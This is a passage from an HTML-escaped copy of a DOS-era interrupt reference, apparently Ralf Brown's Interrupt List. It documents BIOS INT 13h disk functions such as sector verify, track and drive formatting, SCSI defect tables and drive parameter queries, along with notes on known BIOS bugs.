of&lt;BR&gt;&amp;nbsp;&amp;nbsp; DH (head number) since the WD-1003 controller which is the standard&lt;BR&gt;&amp;nbsp;&amp;nbsp; AT controller (and the controller that IDE emulates) only supports&lt;BR&gt;&amp;nbsp;&amp;nbsp; 16 heads&lt;BR&gt;&amp;nbsp;AWARD AT BIOS and AMI 386sx BIOS have been extended to handle more&lt;BR&gt;&amp;nbsp;&amp;nbsp; than 1024 cylinders by placing bits 10 and 11 of the cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp; into bits 6 and 7 of DH&lt;BR&gt;&amp;nbsp;under Windows95, an application must issue a physical volume lock on&lt;BR&gt;&amp;nbsp;&amp;nbsp; the drive via INT 21/AX=440Dh before it can successfully write to&lt;BR&gt;&amp;nbsp;&amp;nbsp; the disk with this function&lt;BR&gt;SeeAlso: AH=02h,AH=0Bh,AH=07h"V10DISK.SYS",AH=22h"PS/1",AH=43h"IBM"&lt;BR&gt;SeeAlso: INT 21/AX=440Dh"DOS 3.2+",INT 4D/AH=03h&lt;BR&gt;--------B-1304-------------------------------&lt;BR&gt;INT 13 - DISK - VERIFY DISK SECTOR(S)&lt;BR&gt;&amp;nbsp;AH = 04h&lt;BR&gt;&amp;nbsp;AL = number of sectors to verify (must be nonzero)&lt;BR&gt;&amp;nbsp;CH = low eight bits of cylinder number&lt;BR&gt;&amp;nbsp;CL = sector number 1-63 (bits 0-5)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; high two bits of cylinder (bits 6-7, hard disk only)&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number (bit 7 set for hard disk)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; data buffer (PC,XT,AT with BIOS prior to 1985/11/15)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;&amp;nbsp;AL = number of sectors verified&lt;BR&gt;Notes: errors on a floppy may be due to the motor failing to spin up quickly&lt;BR&gt;&amp;nbsp;&amp;nbsp; enough (timeout error 80h); the write should be retried at least&lt;BR&gt;&amp;nbsp;&amp;nbsp; three times, resetting the disk with AH=00h between attempts&lt;BR&gt;&amp;nbsp;on floppys, the operation should also be retried on media change&lt;BR&gt;&amp;nbsp;&amp;nbsp; (06h) detection.&lt;BR&gt;&amp;nbsp;this function does not compare the disk with memory, it merely&lt;BR&gt;&amp;nbsp;&amp;nbsp; checks whether the sector's stored CRC matches the data's actual CRC&lt;BR&gt;&amp;nbsp;the IBM AT BIOS and many other BIOSes use only the low four bits of&lt;BR&gt;&amp;nbsp;&amp;nbsp; DH (head number) since the WD-1003 controller which is the standard&lt;BR&gt;&amp;nbsp;&amp;nbsp; AT controller (and the controller that IDE emulates) only supports&lt;BR&gt;&amp;nbsp;&amp;nbsp; 16 heads&lt;BR&gt;&amp;nbsp;AWARD AT BIOS and AMI 386sx BIOS have been extended to handle more&lt;BR&gt;&amp;nbsp;&amp;nbsp; than 1024 cylinders by placing bits 10 and 11 of the cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp; into bits 6 and 7 of DH&lt;BR&gt;BUG: some Epson ROM BIOSes sometimes have problems properly handling this&lt;BR&gt;&amp;nbsp;&amp;nbsp; function. The workaround is to reset the disk (INT 13/AH=00h) before&lt;BR&gt;&amp;nbsp;&amp;nbsp; the call.&lt;BR&gt;SeeAlso: AH=02h,AH=44h,INT 4D/AH=04h,INT 4D/AH=06h&lt;BR&gt;--------B-1305-------------------------------&lt;BR&gt;INT 13 - FLOPPY - FORMAT TRACK&lt;BR&gt;&amp;nbsp;AH = 05h&lt;BR&gt;&amp;nbsp;AL = number of sectors to format&lt;BR&gt;&amp;nbsp;CH = track number&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; address field buffer (see #00235)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;Notes: on AT or higher, call AH=17h first&lt;BR&gt;&amp;nbsp;the number of sectors per track is read from the diskette parameter&lt;BR&gt;&amp;nbsp;&amp;nbsp; table pointed at by INT 1E&lt;BR&gt;BUG: some old Compaq BIOSes have a bug when attempting to call this function&lt;BR&gt;&amp;nbsp;&amp;nbsp; from Windows Standard Mode with EMM386 loaded.&amp;nbsp; A possible workaround&lt;BR&gt;&amp;nbsp;&amp;nbsp; is to call this function from Real Mode e.g. through DPMI function&lt;BR&gt;&amp;nbsp;&amp;nbsp; "Call Real Mode function with FAR return" (see INT 31/AX=0301h).&lt;BR&gt;SeeAlso: AH=05h"FIXED",AH=17h,AH=18h,INT 1E&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of floppy format address field buffer entry (one per sector in track):&lt;BR&gt;Offset Size Description (Table 00235)&lt;BR&gt; 00h BYTE track number&lt;BR&gt; 01h BYTE head number (0-based)&lt;BR&gt; 02h BYTE sector number&lt;BR&gt; 03h BYTE sector size (00h=128 bytes, 01h=256 bytes, 02h=512, 03h=1024)&lt;BR&gt;--------B-1305-------------------------------&lt;BR&gt;INT 13 - FIXED DISK - FORMAT TRACK&lt;BR&gt;&amp;nbsp;AH = 05h&lt;BR&gt;&amp;nbsp;AL = interleave value (XT-type controllers only)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; 512-byte format buffer&lt;BR&gt;&amp;nbsp;&amp;nbsp;the first 2*(sectors/track) bytes contain F,N for each sector&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; F = sector type&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;00h for good sector&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;20h to unassign from alternate location&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;40h to assign to alternate location&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;80h for bad sector&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; N = sector number&lt;BR&gt;&amp;nbsp;CH = cylinder number (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = high bits of cylinder number (bits 7,6)&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234)&lt;BR&gt;Notes: AWARD AT BIOS and AMI 386sx BIOS have been extended to handle more&lt;BR&gt;&amp;nbsp;&amp;nbsp; than 1024 cylinders by placing bits 10 and 11 of the cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp; into bits 6 and 7 of DH&lt;BR&gt;&amp;nbsp;for XT-type controllers on an AT or higher, AH=0Fh should be called&lt;BR&gt;&amp;nbsp;&amp;nbsp; first&lt;BR&gt;&amp;nbsp;the IBM AT BIOS and many other BIOSes use only the low four bits of&lt;BR&gt;&amp;nbsp;&amp;nbsp; DH (head number) since the WD-1003 controller which is the standard&lt;BR&gt;&amp;nbsp;&amp;nbsp; AT controller (and the controller that IDE emulates) only supports&lt;BR&gt;&amp;nbsp;&amp;nbsp; 16 heads&lt;BR&gt;&amp;nbsp;not all controller support sector types 20h and 40h&lt;BR&gt;&amp;nbsp;under Windows95, an application must issue a physical volume lock on&lt;BR&gt;&amp;nbsp;&amp;nbsp; the drive via INT 21/AX=440Dh before it can successfully write to&lt;BR&gt;&amp;nbsp;&amp;nbsp; the disk with this function&lt;BR&gt;SeeAlso: AH=05h"FLOPPY",AH=06h"FIXED",AH=07h"FIXED",AH=0Fh,AH=18h,AH=1Ah&lt;BR&gt;--------d-1305-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI BIOS - SEND SCSI MODE SELECT COMMAND&lt;BR&gt;&amp;nbsp;AH = 05h&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; mode select data (see #00236)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234)&lt;BR&gt;Notes: this function can be called before AH=07h"SCSI" or AH=06h"SCSI" to&lt;BR&gt;&amp;nbsp;&amp;nbsp; format a SCSI disk with the desired parameters&lt;BR&gt;&amp;nbsp;the mode select data below is from the SCSI-1 specification&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=06h"SCSI",AH=07h"SCSI",INT 4F/AX=8100h&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI mode select data:&lt;BR&gt;Offset Size Description (Table 00236)&lt;BR&gt; 00h BYTE number of bytes of remaining data (12 + vendor unique length)&lt;BR&gt; 01h BYTE reserved (0)&lt;BR&gt; 02h BYTE medium type (0 for hard disk)&lt;BR&gt; 03h BYTE reserved (0)&lt;BR&gt; 04h BYTE block descriptor length (8)&lt;BR&gt; 05h BYTE density code (0 for hard disk)&lt;BR&gt; 06h  3 BYTEs (big-endian) number of blocks (000000h for entire disk)&lt;BR&gt; 09h BYTE reserved (0)&lt;BR&gt; 0Ah  3 BYTEs (big-endian) block length (512 standard, or 256)&lt;BR&gt; 0Dh ??? vendor-specific parameter bytes (optional)&lt;BR&gt;--------d-13057FSI324D-----------------------&lt;BR&gt;INT 13 - 2M - FORMAT TRACK&lt;BR&gt;&amp;nbsp;AX = 057Fh&lt;BR&gt;&amp;nbsp;SI = 324Dh ("2M")&lt;BR&gt;&amp;nbsp;CH = track number&lt;BR&gt;&amp;nbsp;DH = head number&lt;BR&gt;&amp;nbsp;DL = drive number&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; boot sector of future 2M diskette&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status (see #00234)&lt;BR&gt;Program: 2M is a TSR developed by Ciriaco Garc de Celis to support&lt;BR&gt;&amp;nbsp;&amp;nbsp; non standard diskettes with 820-902/1476-1558K (5.25 DD/HD)&lt;BR&gt;&amp;nbsp;&amp;nbsp; and 984-1066/1804-1886K/3608-3772K (3.5 DD/HD/ED)&lt;BR&gt;InstallCheck: must search for a "CiriSOFT:2M:1.3" or "CiriSOFT:2MX:3.0" or&lt;BR&gt;&amp;nbsp;&amp;nbsp; similar (recomended ":2M:", ":2MX:", or ":2MB:" substrings) in the&lt;BR&gt;&amp;nbsp;&amp;nbsp; CiriSOFT TSR interface&lt;BR&gt;Notes: it is not necessary to call AH=17h or AH=18h first (will be ignored)&lt;BR&gt;&amp;nbsp;the diskette format must always begin on cylinder 0 head 0&lt;BR&gt;&amp;nbsp;the boot sector can be obtained from an already-formatted 2M diskette&lt;BR&gt;&amp;nbsp;&amp;nbsp; (by calling AH=02h with head number 00h in 2M v1.x and with head&lt;BR&gt;&amp;nbsp;&amp;nbsp; number 80h for 2M v2+)&lt;BR&gt;&amp;nbsp;since 2M v2.0, the BOOT sector is emulated using the first physical&lt;BR&gt;&amp;nbsp;&amp;nbsp; sector of FAT2; the second-sixth physical sectors of FAT2 in HD or ED&lt;BR&gt;&amp;nbsp;&amp;nbsp; diskettes store the SuperBOOT code. To skip the FAT2 emulation (using&lt;BR&gt;&amp;nbsp;&amp;nbsp; FAT1) of 2M, in order to read the SuperBOOT code, head number must be&lt;BR&gt;&amp;nbsp;&amp;nbsp; 80h-81h instead 0-1 (bit 7 active) in standard read/write functions.&lt;BR&gt;&amp;nbsp;&amp;nbsp; This lets diskcopy programs format 2M target diskettes copying&lt;BR&gt;&amp;nbsp;&amp;nbsp; SuperBOOT code. If the target diskette is already 2MF formatted&lt;BR&gt;&amp;nbsp;&amp;nbsp; (containing boot code) this trick it is not necessary.&lt;BR&gt;&amp;nbsp;when using STV technology (offset 65 of boot sector equal to 1) it is&lt;BR&gt;&amp;nbsp;&amp;nbsp; necessary to write the full track before formatting (except track 0&lt;BR&gt;&amp;nbsp;&amp;nbsp; side 0) to complete the format and skip future CRC errors on read; in&lt;BR&gt;&amp;nbsp;&amp;nbsp; track 0 side 1 the head used must be 81h instead 1. Diskcopy programs&lt;BR&gt;&amp;nbsp;&amp;nbsp; may do a format-write-verify sequential phases to improve performance&lt;BR&gt;SeeAlso: AH=05h"FLOPPY",AH=18h/CX=5055h,INT 2F"CiriSOFT"&lt;BR&gt;--------B-1306-------------------------------&lt;BR&gt;INT 13 - FIXED DISK - FORMAT TRACK AND SET BAD SECTOR FLAGS (XT,PORT)&lt;BR&gt;&amp;nbsp;AH = 06h&lt;BR&gt;&amp;nbsp;AL = interleave value&lt;BR&gt;&amp;nbsp;CH = cylinder number (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = sector number&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;Return: AH = status code (see #00234)&lt;BR&gt;Note: AWARD AT BIOS and AMI 386sx BIOS have been extended to handle more&lt;BR&gt;&amp;nbsp;&amp;nbsp; than 1024 cylinders by placing bits 10 and 11 of the cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp; into bits 6 and 7 of DH&lt;BR&gt;SeeAlso: AH=05h"FIXED",AH=07h"FIXED"&lt;BR&gt;--------d-1306-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI BIOS - FORMAT DRIVE WITH BAD SECTOR MAPPING&lt;BR&gt;&amp;nbsp;AH = 06h&lt;BR&gt;&amp;nbsp;AL = interleave&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (0 = default, 1 = consecutive sectors, 2 - 255 = vendor unique)&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;&amp;nbsp;DH = defect list info (see #00237)&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; defect table A, B or C (see #00238,#00239,#00240)&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234)&lt;BR&gt;Notes: block addresses must be in ascending order (for table B, cylinder is&lt;BR&gt;&amp;nbsp;&amp;nbsp; most significant, byte from index least significant; for table C,&lt;BR&gt;&amp;nbsp;&amp;nbsp; cylinder is most significant, sector number least significant)&lt;BR&gt;&amp;nbsp;table B defect bytes from index of FFFFFFFFh indicates that the entire&lt;BR&gt;&amp;nbsp;&amp;nbsp; track shall be reassigned&lt;BR&gt;&amp;nbsp;table C defect sector number of FFFFFFFFh indicates that the entire&lt;BR&gt;&amp;nbsp;&amp;nbsp; track shall be reassigned&lt;BR&gt;&amp;nbsp;the TMC-950 does not support any Future Domain BIOS calls; instead,&lt;BR&gt;&amp;nbsp;&amp;nbsp; it provides a full CAM implementation (see INT 4F/AX=8100h)&lt;BR&gt;SeeAlso: AH=05h"SCSI",AH=06h"FIXED",AH=07h"SCSI"&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Bitfields for Future Domain SCSI defect list info:&lt;BR&gt;Bit(s) Description (Table 00237)&lt;BR&gt; 7-5 drive LUN&lt;BR&gt; 4 defect list is available&lt;BR&gt; 3 defect list is complete (erase drive's defect list)&lt;BR&gt; 2-0 defect table format&lt;BR&gt;&amp;nbsp;(000=use defect table A, 100=use defect table B,&lt;BR&gt;&amp;nbsp; 101=use defect table C)&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI defect table A:&lt;BR&gt;Offset Size Description (Table 00238)&lt;BR&gt; 00h WORD number of bytes remaining in table&lt;BR&gt; 02h BYTE reserved (0)&lt;BR&gt; 03h BYTE reserved (0)&lt;BR&gt; 04h WORD (big-endian) defect list length (4*number of defects)&lt;BR&gt; 06h  4 DWORDs (big-endian) defect block addresses&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI defect table B:&lt;BR&gt;Offset Size Description (Table 00239)&lt;BR&gt; 00h WORD number of bytes remaining in table&lt;BR&gt; 02h BYTE reserved (0)&lt;BR&gt; 03h BYTE reserved (0)&lt;BR&gt; 04h WORD (big-endian) defect list length (8*number of defects)&lt;BR&gt; 06h 8N BYTEs defect list [array] (see #00241)&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI defect table C:&lt;BR&gt;Offset Size Description (Table 00240)&lt;BR&gt; 00h WORD number of bytes remaining in table&lt;BR&gt; 02h BYTE reserved (0)&lt;BR&gt; 03h BYTE reserved (0)&lt;BR&gt; 04h WORD (big-endian) defect list length (8*number of defects)&lt;BR&gt; 06h 8N BYTEs defect list [array] (see #00241)&lt;/P&gt;&lt;br /&gt;&lt;P&gt;Format of Future Domain SCSI defect list entry:&lt;BR&gt;Offset Size Description (Table 00241)&lt;BR&gt; 00h  3 BYTEs (big-endian) cylinder number of defect&lt;BR&gt; 03h BYTE head number of defect&lt;BR&gt; 04h DWORD (big-endian) defect bytes from index&lt;BR&gt;--------d-1306-------------------------------&lt;BR&gt;INT 13 - Adaptec AHA-154xA/Bustek BT-542 BIOS - IDENTIFY SCSI DEVICES&lt;BR&gt;&amp;nbsp;AH = 06h&lt;BR&gt;Return: AH = status code (see #00234)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AL = first drive supported&lt;BR&gt;&amp;nbsp;&amp;nbsp;(80h nonconcurrent operation, 81h concurrent operation)&lt;BR&gt;&amp;nbsp;CF set on error&lt;BR&gt;Desc: determine the number of the first supported SCSI drive&lt;BR&gt;Note: the return value is 80h when two SCSI drives are supported, 81h if&lt;BR&gt;&amp;nbsp;&amp;nbsp; only one SCSI drive is installed&lt;BR&gt;SeeAlso: AH=08h"PC",#00732 at INT 1A/AX=B102h&lt;BR&gt;--------d-1306-------------------------------&lt;BR&gt;INT 13 - V10DISK.SYS - READ DELETED SECTORS&lt;BR&gt;&amp;nbsp;AH = 06h&lt;BR&gt;&amp;nbsp;AL = number of sectors&lt;BR&gt;&amp;nbsp;CH = cylinder number (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = sector number&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer&lt;BR&gt;Return: AH = status code (see #00234)&lt;BR&gt;Program: V10DISK.SYS is a driver for the Flagstaff Engineering 8" floppies&lt;BR&gt;SeeAlso: AH=02h,AH=07h"V10DISK.SYS"&lt;BR&gt;--------B-1307-------------------------------&lt;BR&gt;INT 13 - FIXED DISK - FORMAT DRIVE STARTING AT GIVEN TRACK (XT,PORT)&lt;BR&gt;&amp;nbsp;AH = 07h&lt;BR&gt;&amp;nbsp;AL = interleave value (XT only)&lt;BR&gt;&amp;nbsp;ES:BX = 512-byte format buffer (see AH=05h)&lt;BR&gt;&amp;nbsp;CH = cylinder number (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = sector number&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;Return: AH = status code (see #00234)&lt;BR&gt;Note: AWARD AT BIOS and AMI 386sx BIOS have been extended to handle more&lt;BR&gt;&amp;nbsp;&amp;nbsp; than 1024 cylinders by placing bits 10 and 11 of the cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp; into bits 6 and 7 of DH&lt;BR&gt;SeeAlso: AH=05h"FIXED",AH=06h"FIXED",AH=1Ah&lt;BR&gt;--------d-1307-------------------------------&lt;BR&gt;INT 13 - Future Domain SCSI BIOS - FORMAT DRIVE&lt;BR&gt;&amp;nbsp;AH = 07h&lt;BR&gt;&amp;nbsp;AL = interleave (0 = default, 1 = consecutive sectors,&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2 - 255 = vendor unique)&lt;BR&gt;&amp;nbsp;DL = hard drive ID&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;AH = status code (see #00234)&lt;BR&gt;SeeAlso: AH=05h"SCSI",AH=06h"SCSI",AH=07h"FIXED"&lt;BR&gt;--------d-1307-------------------------------&lt;BR&gt;INT 13 - V10DISK.SYS - WRITE DELETED SECTORS&lt;BR&gt;&amp;nbsp;AH = 07h&lt;BR&gt;&amp;nbsp;AL = number of sectors&lt;BR&gt;&amp;nbsp;CH = cylinder number (bits 8,9 in high bits of CL)&lt;BR&gt;&amp;nbsp;CL = sector number&lt;BR&gt;&amp;nbsp;DH = head&lt;BR&gt;&amp;nbsp;DL = drive&lt;BR&gt;&amp;nbsp;ES:BX -&amp;gt; buffer&lt;BR&gt;Return: AH = status code (see #00234)&lt;BR&gt;Program: V10DISK.SYS is a driver for the Flagstaff Engineering 8" floppies&lt;BR&gt;SeeAlso: AH=03h,AH=06h"V10DISK.SYS"&lt;BR&gt;--------B-1308-------------------------------&lt;BR&gt;INT 13 - DISK - GET DRIVE PARAMETERS (PC,XT286,CONV,PS,ESDI,SCSI)&lt;BR&gt;&amp;nbsp;AH = 08h&lt;BR&gt;&amp;nbsp;DL = drive (bit 7 set for hard disk)&lt;BR&gt;&amp;nbsp;ES:DI = 0000h:0000h to guard against BIOS bugs&lt;BR&gt;Return: CF set on error&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = status (07h) (see #00234)&lt;BR&gt;&amp;nbsp;CF clear if successful&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AH = 00h&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; AL = 00h on at least some BIOSes&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BL = drive type (AT/PS2 floppies only) (see #00242)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CH = low eight bits of maximum cylinder number&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CL = maximum sector number (bits 5-0)&lt;BR&gt;&amp;nbsp;&amp;nbsp; high two bits of maximum cylinder number (bits 7-6)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DH = maximum head number&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DL = number of drives&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ES:DI -&amp;gt; drive parameter table (floppies only)&lt;BR&gt;Notes: may return successful even though specified drive is greater than the&lt;BR&gt;&amp;nbsp;&amp;nbsp; number of attached drives of that type (floppy/hard); check DL to&lt;BR&gt;&amp;nbsp;&amp;nbsp; ensure validity&lt;BR&gt;&amp;nbsp;for systems predating the IBM AT, this call is only valid for hard&lt;BR&gt;&amp;nbsp;&amp;nbsp; disks, as it is implemented by the hard disk BIOS rather than the&lt;BR&gt;&amp;nbsp;&amp;nbsp; ROM BIOS&lt;BR&gt;&amp;nbsp;the IBM ROM-BIOS returns the total number of hard disks attached&lt;BR&gt;&amp;nbsp;&amp;nbsp; to the system regardless of whether DL &amp;gt;= 80h on entry.&lt;BR&gt;&amp;nbsp;Toshiba laptops with HardRAM return DL=02h when called with DL=80h,&lt;BR&gt;&amp;nbsp;&amp;nbsp; but fail on DL=81h.&amp;nbsp; The BIOS data at 40h:75h correctly reports 01h.&lt;BR&gt;&amp;nbsp;may indicate only two drives present even if more are attached; to&lt;BR&gt;&amp;nbsp;&amp;nbsp; ensure a correct count, one can use AH=15h to scan through possible&lt;BR&gt;&amp;nbsp;&amp;nbsp; drives&lt;BR&gt;&amp;nbsp;Reportedly some Compaq BIOSes with more than one hard disk controller&lt;BR&gt;&amp;nbsp;&amp;nbsp; return only the number of drives DL attached to the corresponding&lt;BR&gt;&amp;nbsp;&amp;nbsp; controller as specified by the DL value on entry.&amp;nbsp; However, on&lt;BR&gt;&amp;nbsp;&amp;nbsp; Compaq machines with "COMPAQ" signature at F000h:FFEAh,&lt;BR&gt;&amp;nbsp;&amp;nbsp; MS-DOS/PC DOS IO.SYS/IBMBIO.COM call INT 15/AX=E400h and &lt;BR&gt;&amp;nbsp;&amp;nbsp; INT 15/AX=E480h to enable Compaq "mode 2" before retrieving the count&lt;BR&gt;&amp;nbsp;&amp;nbsp; of hard disks installed in the system (DL) from this function.&lt;BR&gt;&amp;nbsp;the maximum cylinder number reported in CX is usually two less than&lt;BR&gt;&amp;nbsp;&amp;nbsp; the total cylinder count reported in the fixed disk parameter table&lt;BR&gt;&amp;nbsp;&amp;nbsp; (see INT 41h,INT 46h) because early hard disks used the last cylinder&lt;BR&gt;&amp;nbsp;&amp;nbsp; for testing purposes; however, on some Zenith machines, the maximum&lt;BR&gt;&amp;nbsp;&amp;nbsp; cylinder number reportedly is three less than the count in the fixed&lt;BR&gt;&amp;nbsp;&amp;nbsp; disk parameter table.&lt;BR&gt;&amp;nbsp;for BIOSes which reserve the last cylinder for testing purposes, the&lt;BR&gt;&amp;nbsp;&amp;nbsp; cylinder count is automatically decremented&lt;BR&gt;&amp;nbsp;on PS/1s with IBM ROM DOS 4, nonexistent drives return CF clear,&lt;BR&gt;&amp;nbsp;&amp;nbsp; BX=CX=0000h, and ES:DI = 0000h:0000h&lt;BR&gt;&amp;nbsp;machines with lost CMOS memory may return invalid data for floppy&lt;BR&gt;&amp;nbsp;&amp;nbsp; drives. In this situation CF is cleared, but AX,BX,CX,DX,DH,DI,&lt;BR&gt;&amp;nbsp;&amp;nbsp; and ES contain only 0.&amp;nbsp; At least under some circumstances, MS-DOS/&lt;BR&gt;&amp;nbsp;&amp;nbsp; PC DOS IO.SYS/IBMBIO.COM just assumes a 360 KB floppy if it sees&lt;BR&gt;&amp;nbsp;&amp;nbsp; CH to be zero for a floppy.&lt;BR&gt;&amp;nbsp;the PC-Tools PCFORMAT program requires that AL=00h before it will&lt;BR&gt;&amp;nbsp;&amp;nbsp; proceed with the formatting&lt;BR&gt;&amp;nbsp;if this function fails, an alternative way to retrieve the number&lt;BR&gt;&amp;nbsp;&amp;nbsp; of floppy drives installed in the system is to call INT 11h.&lt;BR&gt;&amp;nbsp;In fact, the MS-DOS/PC-DOS IO.SYS/IBMBIO.COM attempts to get the&lt;BR&gt;&amp;nbsp;&amp;nbsp; number of floppy drives installed from INT 13/AH=08h, when INT 11h&lt;BR&gt;&amp;nbsp;&amp;nbsp; AX bit 0 indicates there are no floppy drives installed. In addition&lt;BR&gt;&amp;nbsp;&amp;nbsp; to testing the CF flag, it only trusts the result when the number of&lt;BR&gt;&amp;nbsp;&amp;nbsp; sectors (CL preset to zero) is non-zero after the call.&lt;BR&gt;BUGS: several different Compaq BIOSes incorrectly report high-numbered&lt;BR&gt;&amp;nbsp;&amp;nbsp; drives (such as 90h, B0h, D0h, and F0h) as present, giving them the&lt;BR&gt;&amp;nbsp;&amp;nbsp; same geometry as drive 80h; as a workaround, scan through disk&lt;BR&gt;&amp;nbsp;&amp;nbsp; numbers, stopping as soon as the number of valid drives encountered&lt;BR&gt;&amp;nbsp;&amp;nbsp; equals the value in 0040h:0075h&lt;BR&gt;&amp;nbsp;a bug in Leading Edge 8088 BIOS 3.10 causes the DI,SI,BP,DS, and ES&lt;BR&gt;&amp;nbsp;&amp;nbsp; registers to be destroyed&lt;BR&gt;&amp;nbsp;some Toshiba BIOSes (at least before 1995, maybe some laptops???&lt;BR&gt;&amp;nbsp;&amp;nbsp; with 1.44 MB floppies) have a bug where they do not set the ES:DI&lt;BR&gt;&amp;nbsp;&amp;nbsp; vector even for floppy drives. Hence these registers should be&lt;BR&gt;&amp;nbsp;&amp;nbsp; preset with zero before the call and checked to be non-zero on&lt;BR&gt;&amp;nbsp;&amp;nbsp; return before using them.&amp;nbsp; Also it seems these BIOSes can return&lt;BR&gt;&amp;nbsp;&amp;nbsp; wrong info in BL and CX, as S/DOS 1.0 can be configured to preset&lt;BR&gt;&amp;nbsp;&amp;nbsp; these registers as for an 1.44 MB floppy.&lt;BR&gt;&amp;nbsp;the PS/2 Model 30 fails to reset the bus after INT 13/AH=08h and&lt;BR&gt;&amp;nbsp;&amp;nbsp; INT 13/AH=15h. A workaround is to monitor for these functions&lt;BR&gt;&amp;nbsp;&amp;nbsp; and perform a transparent INT 13/AH=01h status read afterwards.&lt;BR&gt;&amp;nbsp;&amp;nbsp; This will reset the bus. The MS-DOS 6.0 IO.SYS takes care of&lt;BR&gt;&amp;nbsp;&amp;nbsp; this by installing a special INT 13h interceptor for this purpose.&lt;BR&gt;&amp;nbsp;AD-DOS may leave interrupts disabled on return from this function.&lt;BR&gt;&amp;nbsp;Some Microsoft software explicitly sets STI after return.&lt;BR&gt;SeeAlso: AH=06h"Adaptec",AH=13h"SyQuest",AH=48h,AH=15h,INT 1E&lt;BR&gt;SeeAlso: INT 41"HARD DISK 0"&lt;/P&gt;&lt;br /&gt;&lt;P&gt;(Table 00242)&lt;BR&gt;Values for diskette drive type:&lt;BR&gt; 01h 360K&lt;BR&gt; 02h 1.2M&lt;BR&gt; 03h 720K&lt;BR&gt; 04h 1.44M&lt;BR&gt; 05h ??? (reportedly an obscure drive type shipped on some IBM machines)&lt;BR&gt;&amp;nbsp;2.88M on some machines (at least AMI 486 BIOS)&lt;BR&gt; 06h 